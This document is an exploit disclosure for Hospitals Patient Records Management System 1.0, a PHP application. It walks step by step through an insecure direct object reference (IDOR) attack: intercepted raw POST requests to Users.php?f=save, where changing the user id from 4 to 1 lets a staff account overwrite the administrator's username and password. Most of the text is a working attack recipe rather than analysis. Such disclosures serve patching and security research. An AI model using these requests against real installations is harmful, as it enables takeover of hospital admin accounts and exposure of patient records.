1472d8e723
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4.6 KiB
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122 lines
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4.6 KiB
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# Exploit Title: Hospitals Patient Records Management System 1.0 - Account TakeOver
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# Date: 30/12/2021
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# Exploit Author: twseptian
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# Vendor Homepage: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html
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# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/hprms_0.zip
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# Version: v1.0
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# Tested on: Kali Linux 2021.4
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*Insecure direct object references (IDOR)*
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Insecure Direct Object References (IDOR) occur when an application provides direct access to objects based on user-supplied input.Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system.
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*Attack Vector*
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An attacker can takeover the Administrator's account
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*Steps of reproduce:*
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Note: in this case, we used two users, user1 as a staff with user id '4', and admin as an Administrator with user id '1'.
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=====================================================================================================================================
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Step-1: Log in to the application using user1 account,then on the dashboard navigate to 'My Account'
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http://localhost/hprms/admin/?page=user
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=====================================================================================================================================
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Step-2: Modify the username,lastname and password,then let's intercept the request using burpsuite:
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POST /hprms/classes/Users.php?f=save HTTP/1.1
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Host: localhost
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
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Accept: */*
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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X-Requested-With: XMLHttpRequest
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Content-Type: multipart/form-data; boundary=---------------------------17632878732301879013646251239
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Content-Length: 806
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Origin: http://localhost
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Connection: close
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Referer: http://localhost/hprms/admin/?page=user
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Cookie: PHPSESSID=32kl57ct3p8nsicsrp8dte2c50
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Sec-Fetch-Dest: empty
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Sec-Fetch-Mode: cors
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Sec-Fetch-Site: same-origin
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-----------------------------17632878732301879013646251239
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Content-Disposition: form-data; name="id"
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4
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-----------------------------17632878732301879013646251239
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Content-Disposition: form-data; name="firstname"
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user1
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-----------------------------17632878732301879013646251239
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Content-Disposition: form-data; name="lastname"
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admin
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-----------------------------17632878732301879013646251239
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Content-Disposition: form-data; name="username"
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admin1
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-----------------------------17632878732301879013646251239
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Content-Disposition: form-data; name="password"
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admin1
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-----------------------------17632878732301879013646251239
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Content-Disposition: form-data; name="img"; filename=""
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Content-Type: application/octet-stream
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-----------------------------17632878732301879013646251239--
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=====================================================================================================================================
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Step-3: Change parameter id '4' to id '1'
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POST /hprms/classes/Users.php?f=save HTTP/1.1
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Host: localhost
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
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Accept: */*
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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X-Requested-With: XMLHttpRequest
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Content-Type: multipart/form-data; boundary=---------------------------17632878732301879013646251239
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Content-Length: 806
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Origin: http://localhost
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Connection: close
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Referer: http://localhost/hprms/admin/?page=user
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Cookie: PHPSESSID=32kl57ct3p8nsicsrp8dte2c50
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Sec-Fetch-Dest: empty
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Sec-Fetch-Mode: cors
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Sec-Fetch-Site: same-origin
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-----------------------------17632878732301879013646251239
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Content-Disposition: form-data; name="id"
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1
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-----------------------------17632878732301879013646251239
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Content-Disposition: form-data; name="firstname"
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user1
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-----------------------------17632878732301879013646251239
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Content-Disposition: form-data; name="lastname"
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admin
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-----------------------------17632878732301879013646251239
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Content-Disposition: form-data; name="username"
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admin1
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-----------------------------17632878732301879013646251239
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Content-Disposition: form-data; name="password"
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admin1
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-----------------------------17632878732301879013646251239
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Content-Disposition: form-data; name="img"; filename=""
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Content-Type: application/octet-stream
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-----------------------------17632878732301879013646251239--
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=====================================================================================================================================
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step-4: Click 'Forward' on burpsuite. Now user1 is a Administrator. |